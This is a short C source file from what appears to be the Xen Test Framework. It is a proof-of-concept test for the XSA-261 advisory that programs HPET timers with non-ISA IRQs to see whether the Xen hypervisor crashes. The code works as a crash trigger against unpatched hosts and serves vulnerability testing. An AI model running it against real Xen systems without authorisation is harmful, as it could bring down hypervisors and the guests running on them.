main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-261 PoC";

void test_main(void)
{
    unsigned int timer, irq;

    if ( hpet_init() || !hpet_nr_timers )
        return xtf_skip("Skip: No working HPET\n");

    if ( ioapic_init() )
        return xtf_skip("Skip: No working IO-APIC\n");

    /*
     * Attempt to test all timers using non-ISA IRQs, regardless of whether
     * the timer supports them or not.
     */
    for ( timer = 0; timer < hpet_nr_timers; timer++ )
    {
        for ( irq = 16; irq < 32; irq++ )
        {
            if ( ioapic_set_mask(irq, false) )
                return xtf_error("Error: cannot unmask IRQ %u on the IO APIC\n",
                                 irq);

            hpet_init_timer(timer, irq, 1, false, false, false);

            while ( hpet_read_counter() < 1 );
        }
    }

    /* Xen still hasn't crashed?  Most likely not vulnerable. */
    xtf_success("Success: Probably not vulnerable to XSA-261\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */